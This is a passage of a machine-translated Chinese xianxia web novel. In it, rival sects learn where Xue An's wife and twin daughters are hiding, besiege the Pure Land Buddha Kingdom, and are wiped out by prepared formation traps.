    Xue An nodded calmly, "Yes, the name of this technique is... Ping Tian Xia!"


    quickly.


    Everyone in Haoran Academy dispersed, even Ouyang Xiaoman, who usually likes to play most, became silent at this moment.


    Because they desperately need time to sort out and digest this set of exercises passed to them by Xue An.


    After they left, Xue An smiled at Gong Liangxing.


    "Gongliang, your Qingyang Taoist practice is not bad, except for some minor flaws, but I have modified it before, so this time, this is for you!"


    As he said, Xue An opened his hand, and there were pieces of sword weapon fragments suspended above the palm of his hand.


    "Mo Wangan?" Gong Liangxing was shocked, and said in shock.

 Chapter 2027： Sword to Qingyang View

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "Yes, it is Mo Wangan!"


    "It... how did it become like this?" Gong Liangxing said in shock.


    "It''s a long story from the beginning. When I was facing an evil creature from the outside world, this handle of Mo Wangan was broken. I planned to repair it, but then I changed my mind!"


    With that, Xue An''s fingers flicked lightly from Mo Wangan''s fragments.


    "Rather than clinging to the knot of the year, it is better to let go. After all, An Yan has returned to me now. It is really unwise for me to cling to the original idea!"


    "So I decided to break this Mo Wangan to pieces, and then give them to you separately. In this way, you will have a set of swords and can form a powerful sword formation at any time!"


    "But...this Mo Wangan has already bred spiritual consciousness, if you do this..." Gong Liangxing said in a somewhat unbearable manner.


    Xue An smiled faintly, ��Don��t worry, I��ve already solicited its opinion before doing this, and after giving it to you, Mo Wang��an is not dead. On the contrary, if you practice it properly, it may still Have greater growth!"


    "So, are you willing to inherit this Mo Wangan fragment?"


    Gongliangxing breathed out, "If this is the case, we are naturally willing!"


    "well!"


    After that, Xue An raised his hand, and the fragments of the sword in his hand rose up, and then turned into a stream of light, flying into the body of the Qingyang audience.


    The audience in Qingyang shook all over, and only awake a moment later, and then Qi Qi bowed to Xue An.


    Xue An waved his hand.


    "Go!"


    The people of Qingyang View also left.


    When there was no one in the command room, Xue An turned his head to look at the huge monitor and said calmly.


    "Don''t think that it is over to get the armor of the soldier talisman, because the real trial...now has just begun!"


    And that is when the earth is preparing for war in full swing, in the depths of that distant void, outside the Pure Land Buddha Kingdom,


    A figure suddenly rushed out of the darkness, and then looked up at the block of Ju Jialuo in front of him in a puzzled manner.


    "Strange, I clearly felt that a slight fluctuation was transmitted from here, why did it suddenly disappear?"


    The man walked in a hurry, but from his outfit, he was supposed to be a bounty hunter walking the heavens.


    And recently, the most rewarding amount among the heavens, even breaking the historical record, is the task of finding Xue An''s whereabouts.


    Bounty hunters from all over the heavens are moving.


    This is no exception.


    Moreover, he is different from ordinary bounty hunters who go around blindly for luck. He has a family secret method that can track a person''s whereabouts through the smell of blood.


    So after exploring this way, he found it here.


    "Could it be that Xue An is hiding in this Buddhist kingdom?" The hunter walked back and forth around Cho Jialuo a few times and couldn''t help muttering to himself.


    Because only in this way can the faint blood fluctuations be explained.


    "But these buddhists have always been incompetent with the world, for fear of being contaminated with cause and effect, how could they take in such a troublesome ancestor?"


    The bounty hunter was puzzled.


    But at this moment, the distant void suddenly appeared in bursts of Buddha''s light, and there were faint Sanskrit sounds.


    The bounty hunter shrank his neck in fright, and quickly hid in the void, his own vitality activity was reduced to a minimum, and he entered a state of what seems to be like nothing.


    This is also his life-saving trick.


    When he had just finished hiding, he saw countless golden lights flooding the sky, and the leaders were several big Bodhisattvas who stepped on the lotus with golden wheels on their heads.


    The eyes of this bounty hunter opened instantly, and two big words appeared in his mind.


    Tantra!


    That''s right, the people who came are the many Buddhas in the Vajra and Tsang realms of Tantric Buddhism.


    At the beginning, Xue An made a covenant with Bodhi in the Tantric Mandala, and eventually became the master of the entire Tantra.


    Then Xue An asked Maitreya to lead the Guan Ziwaiting Tantra powerhouse to the Pure Land Buddha Kingdom, so that they can work together to increase their strength.


    However, because of the need to cover their whereabouts on the road, Maitreya and others have just arrived at the Pure Land Buddha Kingdom.


    Seeing these tantric masters, the bounty hunter''s heart trembled slightly, and he quickly suppressed it, for fear of attracting the attention of these big bodhisattvas.


    Because he knows well that the style of these tantric bodhisattvas is completely different from the Buddhist cultivation of the Pure Land Buddha Kingdom.


    That''s an existence that can really kill people!


    But what do these tantric masters do when they come to the Pure Land Buddha Kingdom?


    Could it be that these monks are in conflict and are going to fight?


    This idea just surfaced in the mind of this bounty hunter.


    Seeing the golden light stopped, then Maitreya stood up and folded his palms together: "Master Nanwu, brothers, Maitreya is here!"


    Words fall.


    There was also a looming golden light from the inside of Chu Jialuo, and then someone heard the title of Gao Xuan Buddha.


    "Nanwuwu Buddha, what kind of wind is this today that all the great Bodhisattvas of Tantric Buddhism have come to the scene. Could it be that they come to my Pure Land Buddha Kingdom to make a mistake?"


    With the voice, golden light flickered in the sky above Ju Jialuo, and then Yue Ji led Yue Sha, Baimei Luohan and others stepping on the lotus to greet them.


    The two sides stand on each side in the air.


    And beside Yuesha Xiao Yingluo asked quietly: "Uncle, are you fighting?"


    Yue Sha smiled, "It should not be!"


    "Then why do you want to pull out such a big battle?"


    "Maybe to look good!" Yuecha said lightly.


    At this moment, she saw Yue Ji''s eyes swept across Maitreya and the others coldly, and then said lightly: "Mitreya, what do you mean?"


    The words are full of guard and hostility.


    It''s not that Yue Ji is nervous, it''s that the people of Tantric Buddhism are so aggressive that it will inevitably make him think badly.


    Maitreya hurriedly put his palms together and saluted, "Brother Yueji, I am waiting for Xue..."


    Before he could finish speaking, Guan Zizai behind him said coldly: "Brother Maitreya, don''t speak, let me try Brother Yueji''s strength first!"


    Having said that, he stepped forward and stood calmly, "Brother Yueji, the little monk is at ease, I want to fight with you!"


    Maitreya was shocked, "Guaranteed at you..."


    Guan Zizai waved his hand disapprovingly, "It''s just a discussion, it won''t hurt your harmony, right, Brother Yueji!"


    Yueji looked at Guan Zizai coldly, just about to speak.


    At this moment, Yue Sha whispered to Yingluo: "Yingluo, don''t move, let me go!"


    After all, he took a step forward and said lightly: "Guan Zizai, I''ll discuss it with you, what do you think?"


    Guan Zi looked at it as Yue Sha, and couldn''t help raising his eyes suddenly, "It''s you!"


    "Yes, it''s me!" Yuecha smiled slightly, "Can you dare to do it?"


    "Why don''t you dare?" Guan Zizai said coldly.


    There was a strong smell of gunpowder in the air instantly, and a big battle was about to start.


    At this moment, there was a shout from a distance, "Don''t do anything first, your mistress will come!"

 Chapter 2028： All over

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Following the voice, I saw a group of people flying out of the Pure Land Buddha Kingdom, and the leader was An Yan.


    After seeing her, Yue Jiyuesha and others retreated to the side, bowing and saluting.


    "Mrs. Ann!"


    On the Tantric side, Maitreya also put his palms together, "I have seen Mrs. Master!"


    At the same time, he calmly glanced at Guan Zi beside him.


    Guan Zizai waited for people''s heart to understand, and immediately followed with the salute.


    Facing the salute of so many people, An Yan seemed a little cramped.


    "Everyone... everyone, please get up!"


    On the contrary, Xiao Sha looked carefree.


    "Oh, my lord, if they are willing to give a gift, let them do it. Anyway, you are fully worthy of your identity, so why be polite with them!"


    "That''s it!" Zhang Xiaoyu also echoed.


    An Yan ignored these, she took a deep breath, first settled, and then asked.


    "I really want to know what did you guys do just now? Infighting?"


    A word made Yuesha, Maitreya and others all bow their heads.


    An Yan then asked in an earnest tone: "Maitreya Bodhisattva, what are you doing here with so many people?"


    Maitreya hurriedly said: "If the wife of the Muslim master, I waited on the order of the master master to come to unite with the Pure Land Buddha Kingdom!"


    "Oh? Joint one, is it the same form of joint one just now?" An Yan asked softly.


    A single sentence caused a cold sweat to appear on Maitreya''s forehead.


    He didn''t expect that this seemingly gentle Anyan would actually hit the key point in such a direct way.


    At this moment, Guan Zizai who was on the side suddenly took a step forward, and then bowed and said: "Mrs. Master, it was just because of me. I now know that I was wrong. Please forgive me, Brother Yuecha and others!"


    As he said, he bowed to the ground and waited motionless.


    This scene also greatly exceeded the expectations of the Pure Land Buddha Kingdom.


    At the same time, An Yan turned to look at Yue Sha and said softly, "Yue Sha, what is your attitude?"


    With a look of shame on Yuecha''s face, he hurriedly stepped forward to give a salute to Guan Zizai, "Junior Brother Guan, I am also responsible for this matter!"


    At this point, a storm has dissipated.


    Yue Ji looked at her calm An Yan with surprise, and thought to herself that she was indeed the wife of the Red Lotus Immortal Venerable, and she was really decisive.


    And at this moment, the two little girls also suddenly poked their heads out from behind An Yan.


    "Mom, what do these great monks do?" Nian Nian asked curiously.


    An Yan smiled slightly, "These great monks are all good friends of your father, they are here to help!"


    "Oh! That''s how it is!" Nian Nian nodded.


    Then I thought about going to play with Ying Luo.


    But no one noticed that the bounty hunter hiding in the void suddenly trembled in his heart after seeing Miss Miss, almost not revealing his whereabouts.


    It wasn''t until a moment later that he barely held his mind, but a thought emerged in his head.


    Now... I made a lot of money!


    Because this bounty hunter clearly felt the blood fluctuations from Xiangsi and Niannian.


    And there is only one reason for this bloodline fluctuation, and that is that these two little girls are the blood of the Red Lotus Immortal Venerable.


    Apart from this, there is no other reason to explain this fluctuation.


    The bounty hunter was shaking slightly with excitement.


    At the same time, Maitreya and other tantric masters and the people from the Pure Land Buddha Kingdom flew in with An Yan and his party.


    After they left, the bounty hunter immediately fell out of the seemingly nonexistent state, and then whispered softly.


    "Although Xue An''s whereabouts have not been found, it is good news to be able to find his blood. I have to report it to the adults!"


    After all, his figure flashed and disappeared into the vast space.


    Bounty hunters like them all have their own unique way of driving, otherwise the day lily will be cold if they go step by step.


    So soon, this bounty hunter left the star field of the Pure Land Buddha Kingdom and came to the jurisdiction of Qianhe Palace.


    now.


    This Thousand Crane Palace is also very lively.


    After several times of rushing into the air, the palace lord of the Qianhe Palace Hua was also a little tired of speechlessness. He simply took the people from the Palace of the Human Emperor and the Tomb of Xuanming to his mountain gate and discussed what should be next. do.


    Therefore, at this time, the powerful people gathered in the Qianhe Palace, and the powerful people from the two super sects of Xuanming Tomb and Human Emperor Hall crowded this discussion hall.


    "This Xue An appeared in the heavens many times, but when we arrived, there was no trace. This shows that this guy is purely playing on us, so we can''t chase behind his **** passively like this anymore!" Xuan Ming One of the great elders in Ling said with an angry face.


    "Oh? Then dare to ask the great elder, what do you have to say?" The military master of the Human Emperor Palace asked with a sneer.


    "This...In short, we just can''t chase after, otherwise we will be really fools who are being played around!" The great elder said angrily ~ www.novelhall.com ~ everyone knows the truth, but if there is no other way Isn��t that the same as nonsense? "The military division of the Palace of Human Emperor said coldly.


    "You... what do you mean?"


    "It''s not interesting, it''s just a fact!"


    Seeing signs of a quarrel between the two sides, Hua Silent clapped her hands gently, "Okay, you guys, let''s just say a few words!"


    The great elder of Xuan Ming Ling just sat back with an angry face, but the military master of the Human Emperor Palace smiled coldly, but stopped speaking.


    "I understand the feelings of the two of you. Everyone is here to hunt Xue An, but now he is nowhere to be seen. If he can''t be removed, I believe everyone can''t sleep well, so we can''t stay here Suspicious of each other, after all, once you lose unity, it will be even more difficult to deal with Xue An!"


    "The Master of Flower Palace said that!" The military master of the Palace of Human Emperor applauded and said.


    "Finding the whereabouts of Xue An first is the most fundamental problem. I don''t believe that he can really disappear without a trace. It must be a problem with our search direction. I think it is better to dispatch more than wait here. Some people went out to conduct a dragnet-style investigation of the heavens!" Hua said silently.


    Everyone''s eyes lit up.


    "Although it''s not a great way, but it''s the way it is now!" The strategist of the Human Emperor Palace nodded and said.


    And just as everyone was preparing to discuss the specific arrangements for the next step.


    Suddenly a maidserving a letter ran in from outside.


    "Report to the Palace Master, someone asks to see you outside!"


    "See you?" Hua was speechless and waved his hand impatiently, "Have you seen that I''m busy right now? No!"


    "But the man kept saying that he has Xue An''s whereabouts!"


    "what?"


    When this remark came out, everyone was shocked.

 Chapter 2029： Whereabouts of blood

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Even Hua was speechless, she was shocked, and even after she recovered her senses, she shouted: "Then please come in, stupid minion, why do you make people wait outside for such an important thing?"


    The maid dared not say anything, and hurriedly turned and left.


    After a while, the bounty hunter walked in quietly.


    As soon as he saw his costume, everyone''s hopes rose a little.


    Because this person knows at a glance that he is a bounty hunter.


    And for such people, the news is often the most informed.


    And when he saw the situation in the hall, the bounty hunter couldn''t help but startled.


    Because just in this small palace room was actually crowded with powerful people from the two super sects of the Human Emperor Hall and Xuan Ming Tomb.


    Hua Wuyu noticed his astonishment and couldn''t help but said softly: "Don''t be afraid, these are all distinguished guests from my Qianhe Palace. You just said that Xue An is whereabouts, but is it true?"


    The bounty hunter shook his head, "I don''t have Xue An''s whereabouts!"


    As soon as this statement came out, there was a commotion in the hall.


    Xuan even if someone yelled, "Boy, are you taking the grandfather to shave?"


    "Yes, I dare to come and play, let me wait, give him some color!"


    Amid the noise of the drum, a cold light flashed in the speechless eyes of the Palace Master of Qianhe Palace, but he still smiled and asked: "Oh? Since there is no where Xue An is, then why are you coming to see me? "


    "It''s very simple. Although I don''t have the whereabouts of Xue An, I do have the whereabouts of the direct blood of the Red Lotus Immortal Venerable!" the bounty hunter said proudly.


    In an instant, the whole hall was quiet.


    The people looked at each other, and then there was an uproar.


    "What did you say?" Hua speechlessly stood up and asked excitedly.


    "I said, I have the whereabouts of the direct blood of the Red Lotus Immortal Venerable!" Speaking of this, the complacency on the bounty hunter''s face grew thicker.


    "Is the news conclusive?" The military division of the Human Emperor Palace even asked first.


    "I dare to take the head of the Xiangshang as a guarantee. There is no doubt, and this Red Lotus Immortal Venerable''s blood is not one, but a pair of rare twin girls. At the same time, their mother is also there. This shows that they are probably Xue An. It was specially placed there!"


    Hearing these words, everyone in the hall looked at each other, and then there was excitement and greed in their eyes.


    If it is true as the bounty hunter said, then this would be great.


    Because a strong person of Xue An''s level, the direct blood is extremely precious.


    So as long as the three of them are in their hands, Xue An will not take the initiative to show up.


    At this point, the military instructor in the Palace of Human Emperor immediately asked, "Then where are they now?"


    "Ahem!" The bounty hunter did not speak, but pointed to his pocket with a smile.


    Everyone immediately understood what it meant, and Hua was speechless and shouted: "Come on! Bring up the bounty I promised before Qianhe Palace, pay half of it to this friend first, and pay the rest after everything is done!"


    Renhuangdian and Xuanming Mausoleum are naturally no exception.


    For them who are strong in the sect, there is nothing but money and nothing to worry about.


    As long as Xue An''s confidant trouble can be eliminated, it will be worth the money.


    So soon, three generous bounties were all placed in front of this bounty hunter.


    The bounty hunter laughed so hard that he couldn''t close his mouth, and hurriedly collected the money.


    Then Hua was speechless and asked in a deep voice: "Now can you tell us the whereabouts of Xue An''s blood?"


    "Of course! To be honest, I didn''t expect them to show up in that place before the beginning. This Xue An is really cunning!"


    With that said, the bounty hunter unfolded a star map, and then clicked a coordinate on the star map.


    Everyone immediately opened their eyes to look, and after determining the position of this coordinate, they couldn''t help being dumbfounded.


    It wasn''t until a moment later that someone whispered softly: "No wonder I can''t find it all the time, I hide on the site of Buddha cultivation!"


    And the military master of the Human Emperor Palace, the Great Elder of Xuan Ming Ling, and the palace owner of Qianhe Palace all looked at each other at this moment, and then nodded together.


    "It shouldn''t be too late, pass my Huajian order, Qianhe Palace will act immediately!" Hua said silently.


    People in the Palace of the Emperor and Xuan Ming Tomb were also moved by the wind.


    Then Hua Silent said to the bounty hunter: "My friend, please take a little tired, let us go, and wait for it to be done, pay you more bounty!"


    The bounty hunter smiled and nodded, "Okay!"


    Only half an hour later, a mighty team flew out of the Thousand Crane Palace and rushed towards the Pure Land Buddha Kingdom.


    This Thousand Crane Palace is really not too far from the Pure Land Buddha Kingdom, so this bounty hunter would choose to sell information here.


    Therefore, within two days of circumstances, that miraculous wall appeared in front of him, Shijialuo!


    now.


    The entire Buddhist Kingdom of the Pure Land is very peaceful.


    Although the arrival of Maitreya and other masters of Tantric Buddhism caused a commotion among many Pure Land Buddhas, the agitation soon subsided.


    After all, Tantra and Pure Land come from the same source, even if the methods and paths of practice are somewhat different, but the different paths are the same, they still belong to the Buddhism school So the Pure Land Buddhism soon accepted Tantra. Of these people.


    This result can be described as happy, but some are not so happy.


    Such as Xiaosha.


    She was so upset that Maitreya wanted to subdue her to become a dragon under her seat, and her perception of the entire Tantric Buddhism practice became very poor.


    So she was very angry when she saw that these people were also involved in the master''s command, and even called her master the root guru.


    So she simply hid in the Dingchan Temple of Chu Jialuo, looking for the little monks of Yuantonghuitong to relax.


    At this moment, I just listened to Xiao Sha leaning against the Buddhist shrine in the main hall of Dingchan Temple, chewing on the tribute, and at the same time yelling carelessly.


    "Hey, little monk, are you just these tributes? Is there anything else delicious?"


    Huitong scowled and picked up the peel that Xiaosha had thrown away at the shrine, "Nothing else, female donor, can you get down from the shrine, this is disrespectful to the Buddha!"


    "Cut! What can you do with disrespect? No matter how old the Buddha is, can I still be as big as my master? You say yes, Yuantong." Xiao Sha sneered.


    "It''s kind, it''s kind, it''s not wrong for the female donor to say that, but..." Yuantong folded his palms together, and started to be kind again.


    But Xiao Sha didn''t listen to him at all, "Since it''s not a mistake, don''t do anything wrong, and quickly find something delicious for my old lady. If there is a roast chicken or duck, it would be better."


    "Good and good, female benefactor, we are a Buddhist temple here, so how come there are those nasty things?"


    "Would you not do it?"


    Yuantong everyone: "..."


    But just as Xiaosha was playing a rogue in this Dingchan Temple, there was a loud noise outside.


    Immediately afterwards, the whole seat of Chogala trembled.

 Chapter 2030： The Pure Land is here! Tantra is here!

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Everyone was shocked, and then Xiao Sha jumped up from the niche, broke through the roof of Dingchan Temple, and came to the outside.


    Then she saw a terrifying scene.


    But seeing the void in the distance, densely packed with powerful people from Qianhe Palace, Xuanming Tomb and Human Emperor Palace.


    The loud bang just now was the first wave of attacks from everyone on this Jialuo.


    Xiaosha''s little face was instantly overcast, and he said in a deep voice, "I dare to come to the door, is this to provoke?"


    At the same time, the monks of Dingchan Temple, including Yuantong Huitong, had already rushed out of the main hall, and then they were shocked by the scene in front of them.


    "Shan...this...what''s the matter?" Yuantong''s Shanzai said with a pale face before he finished speaking.


    As soon as the voice fell, these strong men launched a second wave of attacks.


    I saw countless attacks of various shapes converging into one place, forming a huge and radiant brilliance, heavy bombardment on Shijialuo.


    Boom!


    There was another loud noise.


    Now even Xiaosha was almost shaken down from the air.


    The power contained in it even shakes the entire Pure Land Buddhist Kingdom.


    Countless people and monks all looked to the sky anxiously. The timid people who thought it was a punishment from heaven, knelt on the ground and worshipped.


    But at this moment, I saw a brilliance soaring into the sky, and then stayed on the sky. After showing my figure, I saw An Yan standing proudly, facing the countless powerful people in the distance other than Chogala. , Said in a deep voice.


    "Foreign enemies invade, where is the Pure Land Buddha cultivation!"


    With an order, Yuejiyuesha, Baimei Arhat and other monks immediately lined up, and said respectfully: "The Pure Land is here!"


    "You wait to return to your place immediately, and guard against it and make no mistakes!"


    "Here!"


    Pure Land Buddha Xiu immediately took his orders and left.


    Then An Yan turned to look at Maitreya and others who were leaping over and over, and whispered, "Where is Tantric Buddhism!"


    "Esoteric Buddhism is here!"


    With Maitreya as the head, the Buddhas, such as the Buddha in mind, and the Vajra Vajra hands, followed, all of them stepped forward and bowed in response.


    "Be prepared to defend against the enemy with me!"


    "Here!"


    The entire Pure Land Buddhist Kingdom calmed down instantly.


    Because of An Yan''s orderly orders, everyone who was panicked immediately found the backbone.


    Many people are even more impressed with An Yan.


    I thought that this girl was just the wife of the leader, but she didn''t expect that she also had such a strong psychological quality, and she did not panic even when faced with such an aggressive enemy.


    Xiaosha laughed even more, then raised his hand and patted Yuantong''s shoulder.


    "Little monk, have you seen it? This is the demeanor of my mistress. Those of you who have cultivated stupid Buddha will not understand!"


    With that, Xiaosha stood up, and instantly came behind An Yan.


    "Mother, Xiaosha is here, the evil spirits abdicated, let''s talk, who are we going to fight next?"


    At this moment, Xiao Sha is eager to try, and I really want to rush out and fight with these guys right now.


    But An Yan shook his head slightly when he heard the words, "Don''t be impulsive, what we have to do now is to defend the Pure Land Buddha Kingdom and wait for Xue An to return!"


    "Wait for the master to return?"


    "Yes!"


    "But will he know the news?"


    "Of course, because before he left, he had already set up layers of magic formations on Chu Jialuo, and a slight change, even if he was far away from the sky, he would immediately perceive it!"


    "So he should already know it now!"


    Hearing An Yan''s words, Xiao Sha didn''t say a word, but looked a little disappointed at these powerhouses other than Jialuo.


    At the same time, Hua Wuyu and others were also full of shock.


    Because they did not expect that the defensive ability of this Jialuo would be so terrible, after resisting the attacks of these people twice, there was still no sign of a break.


    Even faintly there is a trend of glory and prosperity, which is really incredible.


    But soon, Hua was speechless and calmed down, because she noticed that in the depths of that far away, a beautiful woman appeared.


    Don''t ask, this person should be Xue An''s wife!


    And since she is there, Xue An''s direct blood must be there.


    After confirming this fact, Hua Wuyu glanced at the military commander of the Human Emperor Palace and the elder of Xuan Ming Ling.


    Then Hua was speechless and said in a deep voice: "Everyone listens to the order and surrounds this pure land Buddha country. No one can enter!"


    "Yes!"


    The crowd dispersed instantly, surrounding the entire Pure Land Buddha Kingdom.


    Then Hua Wuyu sneered and said: "Xue An, I see when you can hide this time! When I catch your blood, I won''t believe you won''t come out!"


    Earth!


    Global preparations for war are in full swing.


    Almost all the strong have passed the trial to get their favorite armor.


    Even those who haven''t gotten it yet, at this moment, I felt a bit of energy and didn''t give up.


    Because Xue An understands that no matter who it is, as long as he passes the trial, he still has a chance to get the Talisman armor.


    As for those strong men who have already obtained the battle armor, they are not idle at this time. They are almost non-stop re-entering the arsenal of the trial illusion but this time the trial illusion is different from before. .


    The previous trials tested their aspirations and strength.


    The test this time is their ability to coordinate operations.


    This is because Xue An directly set the illusion to be shared by everyone, and the monsters in it are all set in the form of monsters outside the sky.


    The purpose is to get people accustomed to this form of combat as soon as possible.


    After a few days, the results are remarkable.


    At the very beginning, even the special forces of the Fire Phoenix were repeatedly annihilated.


    The best result only lasted for less than half an hour before being overwhelmed by the overwhelming army of monsters outside the sky.


    But over time, they persisted for longer and longer.


    In the past few days, they have been able to fight back and forth with these alien monsters.


    Faced with this result, Xue An felt very pleased.


    But that was when he just breathed a sigh of relief.


    A violent throbbing suddenly rushed to my heart, and then a scene appeared in Xue An''s sea of ??consciousness.


    When he saw the mighty army of heavens, Xue An was slightly startled, and even a sneer appeared.


    "The nose is really good. Before I went to find you, you already found the Pure Land Buddha Kingdom!"


    "But do you think what can be done like this? Well, today I will let the heavens know that I...I am the master of your class!"


    Speaking of this, Xue An said calmly: "Fire Phoenix, come out!"


    With an order, the fire phoenix people who were in the trial instantly woke up, and then flew to the front of Xue An.


    "Instructor, what''s your order?"


    "Come with me and take part in an actual battle!"


    After all, Xue An cut open the space in front of him and stepped into it.

 Chapter 2031： I waited for them to come in

    ������!


    With a continuous explosion, along the wall of Cho Jialuo, a series of dazzling fireworks bloomed.


    This is the scene of powerful men from the three sects of Qianhe Palace, Human Emperor Palace, and Xuanming Mausoleum are attacking Najialuo.


    And this scene has happened dozens of times in this day.


    Suddenly, the Buddha country shook!


    Even the defensive light curtain that had originally been shrouded in Su Jialuo shook violently.


    Immediately afterwards, the defensive light curtain that was originally indestructible and resisted dozens of attacks finally let out an overwhelmed groan, and then a series of cracks as thin as hair appeared.


    Seeing this scene, Hua Wuyu and others were refreshed.


    "It can be said that there has been a sound! Damn, this light curtain is simply stronger than that ten thousand-year-old tortoise shell." The great elder of Xuan Ming Ling shouted with endless joy.


    The military division of the Palace of Human Emperors took a deep breath, and said in a deep voice: "Everyone listens to the order, step up the attack, and must break this wall within an hour!"


    "Yes!"


    The three powerhouses agreed in unison, and then they attacked again frantically.


    In the light curtain, the sky over the Buddha country.


    An Yan, Yue Ji Maitreya and others stood silently, quietly looking at these powerful people besides Jialuo.


    Although they are far apart, everyone can still see the excitement and greed on the faces of these powerful men.


    boom!


    With another wave of attacks, the entire Pure Land Buddha Kingdom shook again.


    Xiaosha finally couldn''t help it, and said loudly, "My mistress, are we just watching? Let me go out and meet these guys! Otherwise, if you continue to fight like this, this defensive formation is probably not enough. How long."


    Xiao Sha''s words also made Guan Zizai and others look towards An Yan.


    These tantric masters are just like Xiaosha, already suffocated enough, and eager to try.


    But An Yan didn''t change his expression, just said lightly: "Don''t worry, it''s not the time yet!"


    "My mistress, if it''s not the time yet, when is the time? Does it mean that you have to wait for the opponent to come in before it counts?" Xiaosha said very dumbly.


    "Yes!" An Yan whispered: "I''m waiting for them to come in."


    Xiao Sha originally wanted to say something, but when he saw An Yan''s solemn expression, he swallowed the rest of the words back, and did not dare to say anything.


    Regardless of An Yan''s usual gentle performance, once the critical moment is reached, he is still full of suffocation, which makes people afraid.


    At the same time, in addition to Chu Jialuo, the three powerful sects once again assembled, and then launched their strongest attacks.


    boom!


    But seeing countless brilliances gathered together and turned into a mighty torrent, blasting towards the defensive light curtain.


    Boom!


    There was another loud noise that shook the world, but this loud noise was mixed with many fine cracks.


    Immediately afterwards, the cracks on the defensive light curtain spread like a cobweb, and quickly deepened, appearing so shaky.


    "Hahahaha! Everyone work harder, this defensive formation can''t hold it!" The elder of Xuan Ming Ling laughed extremely arrogantly.


    really.


    After reluctantly supporting another cup of tea, the defensive light curtain covering the top of Chu Jialuo wailed and then completely shattered.


    These three powerful experts could not help but let out a burst of earth-shattering cheers.


    Then he heard Hua Silent and Ren Huangdian Army Master and others shouting.


    "Everyone rush in and destroy this pure land Buddha country!"


    Give an order.


    This group of powerful men crossed Tak Kaluo like an ant colony and rushed into the Pure Land Buddha Kingdom.


    These scenes have also changed many people in the Pure Land Buddhist Kingdom.


    Even Yue Ji, who can calm down the most, can''t help but clasp her palms together, her lips move slightly, obviously wanting to say something.


    As for Xiao Sha, who has the most impatient temperament, at this time, he couldn''t restrain his inner excitement. He looked at An Yan blankly, waiting for her to give an order, and then rushed to fight with these three powerhouses.


    But I never expected that after seeing that Jialuo''s defensive formation was broken, An Yan was not surprised and rejoiced, and a light smile appeared at the corner of his mouth.


    Then he said in a cold tone: "Do you really think this is enough?"


    These words were not only heard by the people present, but also by Hua Silent and others who were rushing straight from a distance.


    What do you mean?


    Listening to what this woman meant, could there be any pitfalls?


    Hua Wuyu was shocked, and at the same time, she heard a scream of horror coming from around her.


    When she turned her head to look around, the scene in her eyes made her feel cold.


    I saw huge apertures quickly appearing above the heads and even under the feet of the three powerful men who rushed in.


    In the aperture are densely piled runes, which is daunting.


    Not only that, when the aperture completely emerged, a strong suction began to emerge around everyone.


    In an instant, at least half of the three powerful sects were dragged into the aperture by this suction force.


    But this is still just the beginning, the next scene makes Hua''s speechless hands and feet cold, and even her heartbeat stops for half a beat.


    When these powerhouses were dragged into the aperture, the runes in the aperture began to spin quickly as if the activation key had been pressed.


    Then, in these apertures, there may be sword auras, fires boiling, black water surging into the sky, or mountains falling.


    In short, the content displayed by each aperture is different.


    But one thing is the same.


    That is, the fate of the powerhouses dragged into the aperture is the same.


    Almost in an instant, these powerhouses died unfavorably, and the methods of death were varied.


    Some were cut into pieces of meat by the sword qi, some were burned into coke by the fire, and some simply disappeared under the black water without leaving any bones.


    Hua dumbly looked at the scene in front of him, and whispered in his mouth: "The Taiyin Qimen Formation, the Dutian Fiery Formation, Osumi''s positive and negative Jiugong Formation..."


    Then she was covered in a spirit There was infinite horror in her eyes.


    Because all that appeared in front of them were powerful and powerful formations throughout the heavens.


    At this moment, it is like packing and wholesale, collectively appearing here.


    And there is only one person who can have such a large-scale arrangement of such a ring-by-ring formation.


    It is the Red Lotus Immortal Venerable!


    At this point, the flower was speechless and felt that all her blood was cold.


    Because if Xue An arranged these formations in advance, wouldn''t it mean that he had expected that people like himself would come?


    If you say that, will this incident be a conspiracy from the beginning?


    As soon as this thought came out, Hua was speechless and couldn''t wait to turn around and flee here now.


    But she couldn''t do it, because now not only her Palace of Thousand Cranes, Xuan Ming Ling and the Palace of Human Emperors are also suffering heavy casualties, and at least half of the strong have been damaged.

 Chapter 2032： Seal of the Emperor

    And at such a painful price, if he just turned around and left, then Xuan Ming Ling and the Human Emperor Hall would never agree.


    really.


    Seeing this elder in Xuan Ming Ling was almost mad, "Ahhhhh, I actually set up an ambush here, Xue An, you are so vicious!"


    At this moment, the military instructor in the Palace of Human Emperors could no longer maintain the calmness of the past, and saw his gloomy look at An Yan in the distance.


    "Continue to rush forward, I see what other tricks she can do!"


    The three powerful sects rushed again with anger.


    Seeing this scene, everyone in the Pure Land Buddhist Kingdom who was also in shock was shocked, and then they came to their senses.


    Only then did they understand why An Yan was so calm.


    It turns out that in this Jialuo, a "great gift!" has already been prepared for this group of powerful men who have arrived.


    Xiao Sha was overjoyed and threw a fist full of excitement, "It turns out that the master had expected such a scene a long time ago, and he has already prepared it in advance, which made me so worried before."


    But as soon as she finished speaking, she saw An Yan flicking her arm, and then a set of beautiful and cool armor covered An Yan''s body like running water.


    Then An Yan closed her visor with her hands and said lightly: "Don''t talk nonsense, didn''t you hold back your energy before and wanted to fight these people? Now the opportunity is here, let''s do it!"


    Xiao Sha immediately said, "Take Ling!"


    After that, she suddenly raised her head, and then shook her body.


    In an instant, a giant dragon appeared in front of everyone, and greeted the three powerful men who rushed forward.


    "You are going to be rampant, Xiao Sha, uncle!" Xiao Sha shouted excitedly while charging.


    After hearing the words, Zhang Xiaoyu curled his lips, "What Xiaosha, I think it should be called Xiaosha."


    Of course, Xiaosha couldn''t hear these words, and Zhang Xiaoyu didn''t dare to let her know, otherwise a fat beating would be inevitable.


    And after seeing Xiaosha rushing forward, Yue Jing and Maitreya couldn''t help but look at each other, and then chanted the Buddha''s name.


    "Nanwuwu Buddha!"


    "Master Nanwu!"


    Immediately afterwards, she showed the golden light, stepped on the lotus platform, and rushed up together.


    But it was An Yan who moved faster than them.


    Although An Yan''s true strength may not even be comparable to Zhongtong Yuantong of Dingchan Temple, when she put on this alchemy armor, her strength has more than doubled.


    This alchemy wonder, which can be made into a complete body with only two twelve zodiac armors, has unpredictable abilities.


    Once put on, the reaction ability and reaction speed of people can be greatly improved.


    For example, An Yan almost rushed to the front and back with Xiaosha.


    boom!


    As soon as the two touched, a violent explosion became one after another.


    An Yan shuttled among them, waving the pan in her hand.


